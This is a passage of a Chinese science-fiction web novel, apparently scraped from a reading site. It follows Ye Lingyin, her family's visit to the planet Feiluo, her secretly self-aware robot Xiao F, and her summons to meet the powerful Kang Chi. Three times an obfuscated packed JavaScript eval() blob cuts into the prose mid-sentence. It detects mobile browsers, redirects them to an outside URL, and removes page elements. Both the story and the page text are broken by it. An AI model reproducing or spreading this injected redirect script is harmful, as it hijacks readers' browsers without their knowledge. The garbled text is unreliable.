叶向明仍保持着礼貌体面的笑容：“老朱你太客气了，要是我闺女没找到工作，那这次还真得欠下你这个人情。” 对方骤然一愣，不过很快便恢复如初。 “那太好了，我起初还担心呢。在什么地方，离家远不远？” 似乎被说中了烦心事，叶向明跟着叹气：“唉，是挺远的，在菲罗星。这孩子也是不让人省心，我让她找个离家近点的地方，犟得很，根本不听。” “说是舍不得现在这家公司的待遇，而且地理位置也好，就在群星大厦旁边。我但凡说她两句，就直接挂断电话拒绝和你沟通，光给家里打钱买东西，这不是成心气我吗？” 这一回，朱家夫妇的脸色也肉眼可见的不好看了。 是在这儿扯谎呢吧？ 当初住在这附近的人，谁不知道他们叶家的那破事啊？ 明明是太丢脸，在天昭星待不下去才灰溜溜地跑出去了。本以为是去了偏远的地方避风头，谁知竟然是繁华发达的菲罗星。 转念一想，也不是没有这个可能。 菲罗星上也有乞丐啊。 嘴一张就说我在菲罗星，实际上没准连饭都吃不起。 还住在群星大厦旁边？哼，可劲儿吹吧。 他们正要询问更多细节，但叶向明推辞说要去赶飞船，便匆匆离开了。 飞船上，秦蓝还是气不过。 “那一家人也太过分了，没招他没惹他的，人怎么能这么刻薄？” 叶向明调整好椅子，仰面躺下：“有些人就是见不得你好，管那么多干什么？咱们现在要去菲罗星度假，开心点儿。” “就是呀，老妈。”叶翎羽也趴在座椅上开解母亲，“别被这一公一母两王八影响了心情。” 听到小女儿这么说，秦蓝虽然觉得很解气，险些都要笑出声了，却猛然反应过来小女儿还在上中学。 “翎羽，你这话都是跟谁学的？” “我网上看的啊，怎么了？” “你平时上网学点好的，别总看这些乱七八糟的东西。” 叶翎羽撇撇嘴，无视了母亲的唠叨，侧过身子，戴上耳机和眼罩。 “哎呀，你好啰嗦，不和你说话了。” ———— 菲罗星。 夜色沉沉，忙碌了一整天的叶聆音回到家。 虽然很累，但她没有像往常一样换衣服洗漱，而是叫上小F去了一家24小时营业的超市，打算采购些食材。 带着自己的机器人出门，在菲罗星不是什么稀奇事。 不过，当叶聆音走在路上时，还是会被路人有意无意地多看几眼。毕竟智能机器人价格不菲，相当于看到一辆豪车经过，或者是看到某人背了名牌包类似的感觉吧。 叶聆音推着购物车，和小F并排走在超市琳琅满目的货架间。 她时而拿起新鲜的蔬菜翻看，时而凑近闻一闻水果是否成熟。 烘焙区的饼干蛋糕散发出浓郁甜香，系着整洁围裙的营业员端着托盘，招揽来往人群试吃他们的新产品。 还没来得及吃晚饭的叶聆音确实有些饿了，当看到那盘切好的蜂蜜蛋糕，她没有拒绝，品尝了一小块。 营业员满脸堆笑，使出浑身解数推销新产品。一扭头，却发现跟在这位客人身后的机器人，似乎也在关注她手上的这盘试吃品。 她狐疑地看那个机器人。 怎么，你也要吃吗？ 或许是因为蛋糕刚刚出炉正是最美味的时候，再加上她这会儿有些饿了，叶聆音在品尝过试吃品后，确实感觉很美味，便买了一整块蜂蜜蛋糕。 “聆音，这个好吃吗？”小F问她。 “嗯，好吃。”叶聆音点头，“很甜，如果平时吃会感觉腻，但人在饿的时候就喜欢吃一些甜食。” 说着，她下意识地拿起那块蛋糕想要分给小F尝尝，却在看到它那张显示屏脸后，猛然意识到小F是个尝不出味道的机器人。 她讪讪地收回手，将蛋糕放回购物车。一抬头，就看到小F的显示屏变换了新的颜文字。 小F：(￣～￣) 叶聆音忍俊不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862821|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禁：“你那是什么表情？” 小F一本正经地回答：“聆音要给我吃蛋糕，我假装吃到了的表情。” 她一时没忍住笑出了声，笑过之后又莫名感到一阵落寞。 “小F，你一点都想不起来自己是什么了吗？” 虽然是满足了它的意愿，给它买下心仪的机器人当作可移动的身体。可叶聆音潜意识里总觉得，自己出于种种主动或被动的理由将小F留在自己身边，是不应该的。 无论是对她，还是对小F自己来说…… 对于叶聆音这个有些突然的问题，小F几乎没有思考，很快就给出了答案。 “完全没有印象。” “不过，对于我来说，这不算什么重要的事情。” “还要买什么东西吗，聆音？” 叶聆音握着购物车把手的掌心逐渐收紧，心不在焉地“嗯”了一声。 “我们去零食区再看看吧。”她快步走了过去。 ———— 太空港口，经过漫长的航行，叶家三人抵达了菲罗星。 快到吃下午饭的时候了。 “我要吃这里的特色菜。” 叶翎羽指着道路对面那个巨大的悬浮招牌，她刚向前迈出一步就被母亲拽了回来。 “和你姐姐都说好了，到这边第一顿饭去她那儿吃。”秦蓝一边拉住女儿，一边环顾四周。 街道上人来人往，因为是长假第一天，很多道路与低空通道都产生了拥堵，需要机器交警维持秩序。 叶翎羽甩开母亲的手，嚷嚷着：“她一个人做得过来吗？” “所以我们现在要快点过去帮忙啊。”叶向明租了辆车，将行李全部搬上去。 输入目的地，因为道路拥堵，所以全程比平时慢一个多小时。 叶翎羽趴在车窗边向外看。 “啊，是林元元，她在菲罗星开演唱会！”她指着一旁大楼上的巨幅投影海报，很激动地推搡着母亲的胳膊。 “是是是，知道了。”秦蓝也透过车窗往外看去，上次来菲罗星已经是十年前了。 “那个什么元元的演唱会，你想去看啊？” 叶翎羽头点得像小鸡啄米。 “门票不太贵的话，给你买一张你自己去看。” 有了母亲这句话，叶翎羽欢呼着，开始在网上查询价格。在发现演唱会门票早就被抢光后，欢呼变成了哀嚎。 “啊啊啊啊！我应该早点问你的，现在连最后排的票都没有了呜呜。” 到达目的地时，天色虽然已经暗了下来，周围流动的霓虹灯和全息投影仍将街道照耀得如同白昼。 “是这里吧？” 三人仰头向上望去。 站在这里确实可以看到绚烂如极光的群星大厦。 叶向明没有给女儿打电话，他自认为有门牌号就能找到地方，带着妻女在大楼里寻觅一番后，停在了一扇陌生的大门前。 他上前敲门，很快便听到有人由远及近走过来。 夫妻俩对视一眼，脸上都是掩不住的喜悦与兴奋。 马上就能见到大女儿了。 咔哒—— 门开了。 里面露出一张显示屏。 叶向明、秦蓝：？ 定睛一看，开门的原来是个机器人。 “晚上好，聆音的爸爸妈妈还有妹妹。” “一路辛苦了，快请进。” 机器人发出爽朗温润的声音。 与此同时，它侧过身体，伸出一条机械手臂，做出“请进”的动作。 28. 家人 走错了？ 这是第一个出现在夫妇俩脑海中的想法。 不过，它刚才是不是说了聆音的名字？ 搞不清状况的夫妻俩还站在门口踟蹰，叶翎羽已经满脸惊喜地快步跑进了屋子。 “姐，你买了个机器人！” 这时，系着围裙的叶聆音也从冒着热气的厨房里走出来，看到飞奔过来的妹妹，还有站在门口两脸震惊的父母，她快步迎了上去。 一番交流过后，夫妇俩这才明白原来这个机器人是孩子自己买的。 在得知小F的价格后，秦蓝有些心疼钱。 这才刚有点收入，生活刚刚起步的阶段，就买这么贵的东西，每月还要分期付款。她只好在内心安慰自己，女儿不是个花钱大手大脚的性子，孩子选择这么做肯定有她自己的理由。 夫妇俩在房子里转悠了好几圈，房间不算特别大，但厨房卫生间客厅卧室书房一应俱全。地面、桌面和各种柜子都擦的干干净净，没有尘土或污垢。装修风格是清爽温馨的简约风，几乎没有多余的摆件与装饰，客厅桌面上的花瓶里插着几支玫瑰。 据叶聆音所说，她因为工作忙，几乎没有时间打理卫生。有了小F的加入，她只需要顾好工作上的事情就好了，而且晚上睡不着的时候，小F还可以陪她说说话。 听到这儿，秦蓝又觉得没有那么难以接受了。 确实，有个机器人可以随时随地地陪伴女儿，还能照顾叶聆音的生活。 贵就贵点吧。 晚餐是叶聆音和小F提前准备好的，一家人坐在餐桌前说说笑笑，大快朵颐。 电视上播放着充当背景音的新闻，叶向明偶尔会分散注意力听上那么一两句最近发生的大事。看到自己熟悉的领域，他就放下筷子说几句自己的见解，妻子秦蓝则笑着打趣他看上去什么都懂，但都只懂个皮毛。 “这叫作涉猎广泛，总比什么都不知道要强吧。” 秦蓝没有继续和丈夫斗嘴，转而看向许久不见的女儿：“对了，聆音。你还记得我之前给你提过的那个星兽博主吗？” 她一边说一边点开光脑拿给叶聆音看。 看到自己的账号以这种方式出现在眼前，叶聆音剥虾的手不受控制地停顿了下。 秦蓝没有觉察到女儿的异常，只是兴致勃勃地分享自己的发现：“网上好多人都说看了这个博主的视频后，自己的黑雾病好转了呢。” “我的一个朋友退休后也在做视频博主，她说一个月能赚点零花钱。” “反正我被裁员后闲着也是闲着，这个人涨粉这么快，我要不也养几只星兽拍视频？” 话音刚落，叶向明就被一口汤呛到。 他直截了当地打消了妻子这个异想天开的念头：“前段时间新闻都辟谣了，这是假的。而且科学院那么多搞研究的学者都解决不了的黑雾病，怎么可能看几条视频就能康复？” “你以为做博主赚钱很容易吗？就你关注的这个星兽博主，背后说不定早就签约了公司，前期还要花钱做营销。万一运气不好账号没做起来，就是竹篮打水一场空。” 秦蓝还想给他看视频下面的评论，叶向明却看向一旁的两个女儿。 “聆音，翎羽，看到了没，你妈就是老了以后被骗买保健品的那种人。” 姐妹俩埋头干饭，这样的夫妻斗嘴每隔几天都会上演一次，早就见怪不怪了。 不过让叶聆音意外的是，母亲竟然关注了她，好在她拍摄不失绵时从来不会露面，所以到现在还没有被发现。 至于母亲提到的，星兽可以治疗黑雾病。 叶聆音原本和父亲的看法是一致的，但在经历了赵杰希那件事，还有自己视频评论里越来越多的“康复者”分享自己的经历，她现在也有些搞不明白究竟是怎么回事了。 另一边，夫妻俩争论了没多久，就被电视上一则有关皇家科学院的报导转移了注意力。 出现在画面里的，是许久都未曾出现在公众面前的科学院院长——贺徕。 五十多岁的模样，一身笔挺的正装，花白的发丝整齐地梳向脑后。在高清镜头下，可以看到老人额头与眼角几道浅浅的皱纹，他的目光依旧沉静而深邃，声音和煦有力，不急不缓地回答着记者提出的问题。 记者先是约定俗成地表达了自己对大佬的仰慕与崇敬，之后采访了几个常规问题，例如最近的研究领域与研究项目，科学院未来的发展方向，科学界目前面临的挑战等等宽泛的话题。 “贺教授看着比前几年老了许多啊。”叶向明发出一声感慨，“唉，时光飞逝啊。” 秦蓝也深表同感：“是啊，我记得聆音上中学那会儿，他的头发还没这么白。” 叶聆音小时候就在电视上见过这位大名鼎鼎的贺徕教授，不过她那时对这位老教授的记忆不深，印象中他似乎一直都是这个样子。 “好无聊，我们不能换个台看吗？”叶翎羽用筷子拨弄着碗里的鸡翅，嘟囔着自己的不耐烦。 她最讨厌看新闻了，特别是这种两个人一问一答的名人采访环节。 叶向明教育女儿：“翎羽，你要多听听贺徕教授说过的话，这可是帝国近几十年来最伟大的科学家，说不定对你今后的学习有帮助。” 反抗失败，叶翎羽不满地哼哼了两声。 电视画面里，贺徕依次解答了前几个问题后，采访差不多快结束时，记者突然话锋一转，询问他的长子贺文熙的情况怎么样了。 这位曾经的天之骄子，在一次星际科考中遭遇了意外。官方公告对外称贺文熙回到曜之帝国后在某处接受治疗，但现在两年过去了，仍然了无音讯。 “贺教授，大家都很关心为帝国做出杰出贡献的科研工作者，能跟我们分享下贺文熙目前恢复得怎么样了吗？” 老人沉稳从容的神情有片刻迟疑，但眨眼间便恢复如初。 “首先，多谢大家的关心。贺文熙目前还在接受治疗，如果有明确好转的消息，我们会第一时间告知大家。” 和之前一样，没有透露任何有价值的信息，记者也不好再追问下去。 与此同时，叶翎羽嚷嚷着要换台，夫妻俩拗不过她，只好换成了娱乐节目。 吃过晚饭后，叶聆音的父母坐在飘窗上观赏群星大厦的夜景，因为是长假，大厦上空还有各种灯光表演，老两口看得很入神。 在这期间，叶翎羽对小F产生了浓厚的兴趣。 女孩围着比自己高出一个头的机器人转了一个圈，上上下下地打量。她不是没有见过智能机器人，学校里还有一些公共场所都配备有类似的人形机器，早就见怪不怪了。 但小F不一样，这可是她姐姐买回来的，是她们自己家里的。 “请问您有什么需要吗？”小F低下显示屏，同样观察着对方。 虽然是姐妹，但经过比对，叶翎羽与叶聆音长得并不十分相像。 “你叫小F？”叶翎羽问它。 “是的。” “你上面是不是还有ABCDE五个哥哥或者姐姐？” 屏幕右下角的旋转等待光标转了好几圈后，它才明白过来叶翎羽为什么这么问。 “是……” 小F正要说这是你姐姐起的名字，但它突然想到，作为一个普通的机器人，应该不会这么说吧。 于是，它修正了自己的措辞。 “名字是用户自己设置的。” “哦，那就是我姐姐起的，真是好普通的名字。”叶翎羽托着腮帮子若有所思，她的目光上移， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862822|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向机器人脖子上的显示屏。 “小F，你的头可以替换吗？” “？” “是不是也可以换成更大的显示屏，或者是照相机，无人飞行器？那样就能飞起来了。” “目前没有这个功能。” 机器人后退了一步，屏幕上出现了一个巨大的红色叉。 “那可以用你的显示屏打游戏吗？” “很抱歉，也没有这个功能。” 女孩脸上浮现出失望的表情，然而下一秒，她似乎是想到了什么坏点子，突然上前凑近机器人并压低了声音对它耳语。 “小F，你其实已经觉醒了自我意识，只是装成机器人的样子，对不对？” “你到底有什么不可告人的目的，通通交代出来。” 纵使是机器身体，听到这句话的时候也卡壳了一下。 无法和人类一样随时做出具体表情的缺憾，现在反倒变成了优点。 小F的显示屏画面停顿了几秒钟。 怎么办？ 短暂的思考过后，它决定假装听不懂。 “您好，我是桑弗拉尔公司开发的家庭助理型机器人HAR-7000，请问您需要什么帮助？” “果然，这种问题就回答不上来了吧。” 叶翎羽觉得没趣，自己只是想开个玩笑，这个机器人都接不上，看来人工智能也不过如此嘛。 女孩回到了客厅沙发上，拿出光脑开始打游戏。 停留在原处的小F转动摄像头，它看到叶聆音往厨房走去了，于是它也跟了过去。 叶聆音打开冰箱门，正准备将提前切好的水果取出来。一扭头，就看到小F出现在了身旁。 “小F？” 它没有发出声音，而是用显示屏打出一段文字。 【聆音，你妹妹发现我了Σ(°口°)！】 【她还要换掉我的显示屏】 【SOS】 看着屏幕上无声的话语，叶聆音放下手中的托盘，她越过小F站在门口探出头往外看了一眼。 父母还在欣赏夜景，妹妹正斜靠在沙发上打游戏，这三个人暂时都不会过来。 叶聆音微掩住门，转身看向小F，轻声问它：“怎么了？刚才你和翎羽说什么了吗？” 以她对妹妹的了解，她不觉得叶翎羽在得知小F不是普通机器人后，还会无聊到躺在沙发上打游戏。 肯定早就像发现了新大陆一样吆喝起来了。 【她说，她知道我已经觉醒了自我意识，只是装成机器人的样子，还问我有什么不可告人的目的】 看到这儿，叶聆音愣了几秒钟，随后忍不住笑出了声。 “别担心，她只是想和你开个玩笑。” “她没有发现你。” 叶聆音很快就明白这是怎么一回事了。 妹妹很喜欢看那种有关智械危机的科幻电影。背景设定在未来，机器人技术发展迅速，在某个节点上萌发了自我意识，开始独立思考，并反客为主将创造出自己的人类控制或杀死。 这类电影的主角往往是人类反抗军代表，结局是主角团成功击败邪恶机器人的阴谋，将受到控制的全人类解救了出来。 叶翎羽是代入到了电影情节中，出于好玩才这么说的，现实中不会有这种事情发生的。 不。 叶聆音后知后觉地反应过来。 谁说现实中没有，自己面前不就有个现成的吗？ 叶聆音看向站在自己身边的机器人。 她的脑海中浮现出科幻电影里的情节。 作为最终大boss的人工智能主脑，操纵着其手下的机器人军团控制了人类，进而统治世界。 小F……统治世界？ 29. 栀子花 “聆音，你为什么用这种眼神看我？” 在得知自己没有暴露后，小F重新变成了语音交流的模式。 她很快地摇了摇头。 “没什么，我走神了。” 叶聆音从方才那番想象中回过神来，她正要端起盘子出去，突然收到了公司发来的一条紧急通讯。 要她现在马上就回去处理。 几乎没有犹豫，叶聆音走到衣架前取下外套，父母见状也急忙问她发生什么事了。 “怎么了，聆音？你要出去啊？” “嗯，公司有事找我，我得过去一趟。” 秦蓝对此很不理解：“不是在放假吗？而且都这么晚了，明天再去行不行？” “妈，公司要求员工随时待命，研发部的工作性质就是这样。我说不定要第二天才能回来，你们晚上别等我了，早点休息吧。” 叶向明走过来，他对公司加班这件事没什么异议，只是觉得女儿一个人晚上出门不安全。 “我和你妈陪你一起去公司吧。” 叶聆音哑然失笑：“你们跟我去做什么？而且，公司的监管很严，一般人进不去办公地点，你们还得在外面等，晚上气温很低的。” 夫妻俩还准备说点什么，就看到那个机器人出现在了叶聆音身后。 “聆音，我和你一起去。” “哎？” 她回过头。 小F的屏幕上已经规划好了路线，它并非是在和叶聆音商量这件事，而是将其看作自己的一项工作内容。 “全程预计需要半个小时，是否现在就出发呢？” 叶聆音同意了，父母也不再坚持要陪她去公司。 看着女儿和自己的机器人出门后，秦蓝不禁喃喃道：“聆音买这个机器人看来是很有必要的。” 叶翎羽：“我发现，小F直接叫我姐姐的名字诶，我还以为会叫她‘主人’或者别的什么昵称。” 叶向明回到客厅重新坐下：“这都是用户自己设置的吧。” 叶翎羽两眼放光，这么好玩？ “如果我也有一个机器人，我要它叫我女王大人。” ———— 一夜过去。 和叶聆音预计的差不多，处理完公司的问题后，天已经蒙蒙亮。 忙活了一整晚，她并不觉得多么困，只是脑袋有些昏沉沉的感觉。 远处的天际线泛起一抹淡淡的鱼肚白，夜色还未完全褪去，头顶的天空仍呈现出深邃的蓝灰色。 她和小F走在空旷寂静的街道上，依稀能听到几声清脆的鸟鸣，和平时繁华纷乱的菲罗星完全不同，好像来到了一个陌生的地方。 叶聆音深吸一口气，清晨的空气带着凉意，还有几分清甜。 “栀子花。” 小F疑惑她为什么突然提到一种植物：“聆音，栀子花怎么了吗？我知道这是一种茜草科的灌木植物，具有观赏价值以及药用价值。” “是栀子花的味道。”叶聆音又用鼻腔使劲吸了吸，那股芳香馥郁的气味愈加清晰。 末了，她想起小F是机器人闻不到气味，所以又补充道：“是甜甜的气味。” “甜的，和蜂蜜蛋糕一样吗？”小F问她。 “差不多都是甜味，但也有细微的差别。” 她在脑海中思考措辞，想着如何将这两种不同的甜味描述出来。然而，她一想到小F只是个机器人，哪怕她自认为解释得再明白也没有意义。 就这样，叶聆音沉默了许久。 见她久久没有说话，小F突然问她：“聆音，你生气了吗？” 叶聆音很奇怪地反问它：“为什么会觉得我生气了？” “因为你想与我分享栀子花的气味很好闻，我却闻不到。” 听到这句话的同时，叶聆音停下了脚步，机器人也跟随她的步调停了下来。 “不是的。” 她看向机器人的屏幕，就和小F自己说过的一样，因为没有可以做出表情的脸，所以很难从这张显示屏上看出它此时的情绪。 但叶聆音还是很认真地看着它。 “小F，我是想说，你或许不该是一个机器人。” 这种感觉太奇怪了，叶聆音心想。 叶聆音知道小F是有自我意识的，但它的身体完全是机器人，就像一个被困在钢铁机械中的灵魂。 这时，机器人的屏幕上出现了笑脸图案。 (￣︶￣) “我明白了，聆音那会是因为同情我才不说话的。” “或许在人类看来，闻不到气味或者尝不到味道很痛苦。” “但我没有当过人类，我并不觉得这是多么无法接受的事情。” 天色将亮，笼罩在周围的薄雾也渐渐消退。 叶聆音犹豫再三，还是问出了那个萦绕在心头好多天的问题。 “小F，你以后打算怎么办呢，还是继续待在我身边吗？” “是啊。”它很快给出了回答，“我喜欢和聆音在一起。” “……是因为和你在一起最长时间的人，就是我吧。”叶聆音自言自语的同时也没有刻意压低声音，她回过身继续迈步向前。 小F没有否认她的说法，只是启动机械腿跟上她。 一人一机器并行走在路上。 街道上的行人越来越多，因为正处在假期，所以几乎看不到行色匆匆的上班族，大多是出来做生意的人和游客。 “妈妈，我要吃棉花糖。” 一家游乐园门口，母子俩正坐在长椅上等待，小孩闹着要吃小卖部里的棉花糖。 母亲没有满足孩子的愿望，并给出了理由：“不行，上次医生说的话你忘了吗？你牙齿都不好了，不能吃太多甜的。” 注意到母子俩的对话，小F转动显示屏看向了叶聆音。 “聆音，我发现了一个很有趣的现象。” “嗯？” “很多人类，包括聆音都喜欢甜味，对吧？” 她点点头。 “人类生存需要能量，而高能量的食物大多数是甜味的，所以为了活下去，人类被调控着爱上了甜味。对人类来说，甜就是一种美好的感受。” “受到这样的影响，我还看到很多人类将生活幸福、爱情美满也指代为‘甜蜜’，哪怕这些东西并不是食物。” “这样说起来，就好像被最初设定好的‘程序’给控制了，不是吗？” 叶聆音静静地倾听着小F对人类的看法，她长这么大还是头一回听到这种说法。 或许因为小F不是人类，且它还会思考，所以才能从这种角度看待问题。 “聆音，我想说，你不用担心我，我很清楚自己在做什么。” “我们回去吧，你已经连续二十多个小时没有睡觉了。据我所知，人类正常情况下的‘待机’时间可没有这么久。”说着，它对女孩伸出自己的机械手掌。 天已经大亮，地面的气温回升，叶聆音感到自己的耳尖被初升的晨光照得发热。 心底泛起一圈圈涟漪，呼吸也变得轻缓。 她上前，握起了小F的手。 “嗯，我们回去吧。” ———— 几天后，叶聆音的生日到了。 趁着这 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在家里的时候，她偶尔也会在关紧门窗后，将不失绵放出来一会儿。 “就是这个生物，是它当初攻击了我。” 小F认出了不失绵，但后者已经不认得小F了。 面对这个比叶聆音还要高的机器人，不失绵无法和先前一样还能对其充满好奇心。它很害怕这个会发出声音的合金家伙，每次见到小F出现，不是躲到床底下，就是扑进叶聆音怀里。 叶聆音不会强迫不失绵能接受现在的小F，她有了经验，后面再放不失绵出来放风时，除了关好门窗，也得让小F待在其他房间暂时不要出现。 将不失绵重新收回空间后，叶聆音找到小F。 它正在看书。 面前的机器人全神贯注地翻着书，据小F所说，它完全可以将需要的信息通过网络下载到机器人身上。但它偶尔也想试试通过阅读的方式获取知识，效率虽然不算很高，但却是种十分新奇的体验。 “聆音，那只星兽回去了是吗？”看到她过来，小F合上了书。 小F询问过她有关系统的事，毕竟见到过她凭空将不失绵从空间里带出来。不过，在叶聆音说这件事很难解释清楚后，它就没有再追问过了。 “这应该就是聆音的特质吧。” 它这样说。 这天，叶聆音计划着向公司请一天假，去复查自己的黑雾病。 还没等她走到工位，就有人叫她去会客室一趟。 “小叶，你是不是摊上事了？”同事带她过去的路上还与她低声耳语，告诉了她那个神秘来客的不少信息。 “那人来头不小，高经理见到那人说话都十分客气。说是替自家主人来请你过去的，希望不是什么坏事。” 一头雾水的叶聆音被带到了会客室。 推门进去前的几秒钟里，她在心中推测即将遇到的几种可能性。 是小F的存在被发现了吗？还是她的星兽视频又出现问题了？ 怀揣着隐隐的不安，她走进会客室，一眼就看到了端坐在正座上，一身西装的中年男人。 她没见过这个人，却认出了他衣服上的标识。 是康元帅家的人。 那人站起身，一张看五官就十分精明的面庞却表现得很和蔼可亲。 他对着叶聆音鞠了一躬，礼貌开口： “叶小姐，打扰了。” “我家少爷想见您一面。” 30. 康驰 帝都星。 夜幕降临，热闹繁华的主城区被蒙上一层朦胧夜色。 街道两旁的霓虹灯次第亮起，五彩斑斓的光影倒映在湿漉漉的路面上。 “极光之夜”的门口站着身穿蓝灰色西装的侍者，两旁黑色镶金的玻璃幕墙低调又不失奢华。 会所二楼的贵宾区，厚重的帘幕将外界的喧嚣隔绝。暧昧昏暗的灯光下，身材火辣的女人忘情地亲吻着倚靠在沙发上的男人，后者骨节分明的手掌抚在女人的腰窝。 就在两人即将进行到下一阶段时，一则突如其来的信息提示音打断了这场旖旎风光。 男人皱眉，拿起光脑看了一眼。 【少爷，那个星兽博主找到了，已经带到您位于青岚山上的那处住宅里了】 康驰黑眸微眯，他一把推开趴在自己身上的女人，起身披上外套，在几个保镖的簇拥下离开了“极光之夜”。 半个多小时后，一架私家飞船停落在青岚山上。 注意到别墅外面亮起的灯光和飞船轰鸣声，叶聆音起身往窗外看去。原先围绕在她身边表面侍奉实则监视的一众仆人，此刻也无暇顾及她这个“人质”，纷纷奔向大门准备迎接这栋屋子的主人。 今天早上，她被这位康管家带到了这里，乘坐全速运行的特快飞船，当天晚上就来到帝都星。 她知道孤身前往帝都星很不明智，可她当时根本没有选择。 那位管家说是请她过去，用词很谦逊。但只要不是傻子，都知道忤逆这位未来帝国元帅的命令会是什么下场。 是的，叶聆音本人也很惊讶。 这个要求见她的人并非是康斯年，而是这个曾经未婚夫的哥哥——康驰。 当年因为那个荒谬的婚约，康家与她这个平民见过面的只有康斯年和他的母亲与姐姐。 现在回想起来，或许是怕S级精神力的资源落入他人之手，所以她的真实身份并非对外公布。她没有见过康斯年的这位外出征战的兄长，对方很可能也根本不知道有她这么一号人。 可以说，她和康驰几乎没有任何交集。 她只是从新闻上还有人们的传言中了解到，康元帅很器重这个长子。康驰继承帝国元帅之位，差不多是板上钉钉的事。 要不然，作为小儿子的康斯年，也不会眼巴巴地想通过娶一个S级治疗师来提升自己的竞争力。 至于为什么能在茫茫人海中找出她…… 对于未来的帝国元帅来说，要从网站上调取她的个人信息和位置简直易如反掌。 只是，他为什么会来找自己？ 和康斯年有关吗？ 奇怪的是，那位传话的管家要她走的时候把不失绵也带上。 似乎又像是为了不失绵，所以才要求见她的。 临走前，叶聆音告诉了小F自己前往帝都星的实情，要它这段时间照顾好自己。对家里，怕父母一听到她要去康家会担心，则谎称自己只是去帝都星出差。 一路上，她的通讯工具都能正常使用，除了随行的几个保镖限制了她的人身自由外，没有其他特别之处。 这让叶聆音暂时安心了不少。 现在，这位约见她的主人终于出现在了她的面前。 男人鼻梁高挺，眉骨耸立，眉宇间透着一股冷然的威严。他迈开长腿跨步进来，动作干脆利落，寒潭似的眼睛鹰一般瞥向站在桌子后面的叶聆音，将她牢牢锁定。 叶聆音被这种审问犯人一样的眼神盯得心里发毛，正苦恼着要如何开口时，身旁的管家替她解决了这个难题。 “少爷，这位就是叶聆音女士。” 康驰没说什么，只是径直走到桌子对面坐下。他抬了下手，一众下人顿时心领神会纷纷退了出去。 空荡荡的别墅大厅里只剩下他，叶聆音，还有那位管家三个人。 康驰点开了投影仪。 叶聆音仰头看向投影出的画面，是她的账号信息，还有每一条视频以及下方的评论。 “叶女士，想必你也知道我是谁，就不花费时间做自我介绍了。” “直接开门见山，这是你在星际网上注册的账号，是吗？” “是的。” 她如实回答。 “这些说自己看了视频后治好了黑雾病的评论，你作何解释呢？” “我不知道这是怎么回事。” 这也是实话，但看到康驰那对浓密的剑眉微微拧起，就知道他对这个回答并不满意。 “不知道？” 男人发出一声冷笑。 他没有继续这个话题，而是突然话锋一转。 “通过调查，我发现自己与叶女士竟然也颇有渊源啊。” “先是通过精神力造假，临门一脚差点就成为我的未来弟妹，现在又在网上营销自己可以治疗黑雾病。” 听到那段往事从对方嘴里以这种聊天的方式冷不丁说出来，叶聆音的呼吸一滞，心脏仿佛被无形的手抓住，耳畔也在嗡嗡作响。 不过很快，她重新恢复了平静。 也是，都把她带到这里来了，肯定早就将她的来历、背景调查了个底朝天。 只是他说这话是什么意思，要为兄弟打抱不平吗？ 桌子对面，康驰墨黑的双眸静静地注视着叶聆音。 不久前，他注意到了这个星际网上的神秘博主。本以为只是个平平无奇，以取悦观众赚取钱财的网络戏子，但观看她视频的一些人却留言说自己的黑雾病好转了。 这让康驰不禁有些好奇。 经过一番调查，康驰初步判断出——这女人就是个投机的骗子。 手下甚至还给他带回来了一个意料之外的情报，在成为星兽博主被他注意到之前，这个女人竟然曾经与他的弟弟康斯年订过婚。 他不怎么关心那个同父异母的弟弟，对于无法构成威胁的存在，多看一眼都是浪费时间。 更别说是他弟弟的那位神秘未婚妻了。 没想到有朝一日，自己机缘巧合下会直接见到这个女人。 另一边，见康驰久久不说话，叶聆音心想着是不是该主动为自己辩驳几句。 稍加思索后，她诚恳道：“可是我也患有黑雾病……” 话音未落，康驰并不意外地微微点了下头：“我知道。” 竟然连她的就医记录都拿到了，叶聆音心中骇然。 说完这句话后，康驰双手交叉支在椅子扶手两边，好整以暇地望着她。无声地示意叶聆音还想“澄清”些什么，可以当着他的面继续说。 叶聆音回看了他一眼，索性也坐了下来。 她一个遵纪守法的帝国公民，康驰这样位高权重的大人物，不至于和她这种小虾米过不去吧。 既然是他说要开门见山，叶聆音抱着破罐破摔的心态，也没起初那么害怕了。 “康上将既然能调查出我这么多信息，自然也能查明白那些评论的人不是被我雇来的。” 康驰抬眸：“所以，叶女士的意思是，你或者说你养在身边的那只星兽，确实拥有治愈黑雾病的能力？” 叶聆音不进这个圈套：“我从没这么说过，我也从没这么宣传过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862824|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坦白讲，我对此也很疑惑。” 她想起赵杰希。 自己确实是看着赵杰希的奶奶一点一点康复的，但奇怪的是，和不失绵近距离相处最久的她自己，反倒没有任何康复的迹象。 康驰盯着叶聆音不说话。 